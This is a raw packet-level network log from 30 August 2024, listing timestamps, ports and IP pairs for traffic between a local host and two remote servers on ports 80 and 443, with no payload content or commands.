Aug 30, 2024 06:17:05.461352110 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.461395025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461405039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461410999 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.461479902 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.461540937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461549997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461561918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461571932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461581945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461590052 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.461590052 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.461591959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461597919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461606026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461615086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461642981 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.461642981 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.461716890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461725950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461734056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461749077 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461759090 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461765051 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.461766958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461776972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461782932 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.461786985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461791992 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.461797953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.461822987 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.461843967 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.462011099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462021112 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462028980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462038040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462048054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462058067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462066889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462076902 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462084055 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.462084055 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.462084055 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.462088108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462096930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462102890 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.462110996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462120056 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.462136030 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.462146997 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.462229013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462238073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462245941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462255001 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462265968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462276936 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.462280989 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462291956 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462296963 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.462301970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462312937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462320089 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.462320089 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.462322950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462332010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462356091 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.462379932 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.462507963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462517977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462527037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462536097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462546110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462554932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462560892 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.462562084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.462587118 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.462707996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462717056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462726116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462735891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462745905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462755919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462764025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462768078 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.462768078 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.462773085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462781906 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.462783098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462791920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462801933 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.462801933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.462836981 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.462836981 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.463038921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.463047981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.463057041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.463066101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.463074923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.463084936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.463092089 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.463092089 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.463093996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.463104010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.463113070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.463121891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.463133097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.463143110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.463145971 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.463145971 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.463145971 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.463152885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.463162899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.463191986 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.463191986 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.463191986 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.463289976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.463299990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.463309050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.463320971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.463330984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.463341951 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.463350058 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.463350058 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.463375092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.463380098 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.467446089 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.508886099 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.508900881 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.508955002 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.508969069 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.509006977 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.509182930 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.509200096 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.509246111 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.509253025 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.509290934 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.509603977 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.509620905 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.509660006 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.509665966 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.509687901 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.509706020 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.509999037 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.510015965 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.510060072 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.510066986 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.510106087 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.510323048 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.510343075 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.510382891 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.510390997 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.510406017 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.510421991 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.510739088 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.510754108 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.510782003 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.510788918 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.510812998 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.510826111 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.511061907 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.511077881 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.511111975 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.511118889 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.511142015 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.511159897 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.511338949 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.511356115 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.511389971 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.511395931 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.511420012 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.511437893 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.536493063 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.536503077 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.536519051 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.536529064 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.536539078 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.536540031 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.536547899 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.536550045 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.536557913 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.536567926 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.536580086 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.536592007 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.536689997 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.536736012 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.536951065 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.536994934 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.537034035 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537044048 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537053108 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537077904 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.537095070 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537101030 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.537106037 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537118912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537130117 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537137985 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.537146091 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.537175894 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.537265062 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537275076 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537283897 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537293911 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537303925 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537313938 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.537313938 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537339926 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.537353039 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.537410975 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537421942 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537431002 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537440062 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537456036 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.537478924 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.537626028 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537636042 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537645102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537656069 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537667990 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537669897 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.537677050 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537686110 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537688971 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.537697077 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537707090 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537708998 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.537717104 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537719965 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.537725925 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.537738085 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.537761927 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.538783073 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.538827896 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.538830042 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.538839102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.538850069 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.538868904 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.538878918 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.538882017 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.538887978 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.538889885 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.538899899 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.538913965 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.538924932 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.538942099 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.538965940 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.538975954 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.539005995 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.539031982 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.539041996 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.539052010 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.539060116 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.539074898 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.539086103 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.539160013 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.539170027 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.539179087 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.539190054 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.539200068 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.539200068 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.539208889 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.539216995 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.539218903 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.539241076 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.539264917 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.539267063 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.539278984 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.539288044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.539311886 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.539318085 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.539320946 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.539356947 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.544544935 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.544554949 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.544564009 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.544584990 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.544598103 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.544611931 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.544621944 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.544631004 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.544646025 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.544652939 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.544672966 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.544692993 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.544785976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.544795990 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.544809103 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.544817924 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.544826984 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.544831038 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.544836044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.544845104 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.544852972 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.544853926 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.544864893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.544874907 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.544892073 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.544904947 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.544924974 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.544934988 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.544964075 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.544967890 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.544974089 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.545010090 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.545140982 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.545150995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.545159101 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.545170069 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.545180082 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.545182943 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.545190096 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.545192957 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.545200109 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.545209885 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.545221090 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.545222044 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.545231104 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.545245886 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.545264006 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.550415039 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.550457001 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.550462961 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.550486088 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.550493002 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.550498009 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.550519943 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.550535917 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.550579071 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.550590038 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.550600052 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.550616980 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.550625086 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.550648928 CEST	49735	80	192.168.2.4	147.45.44.104
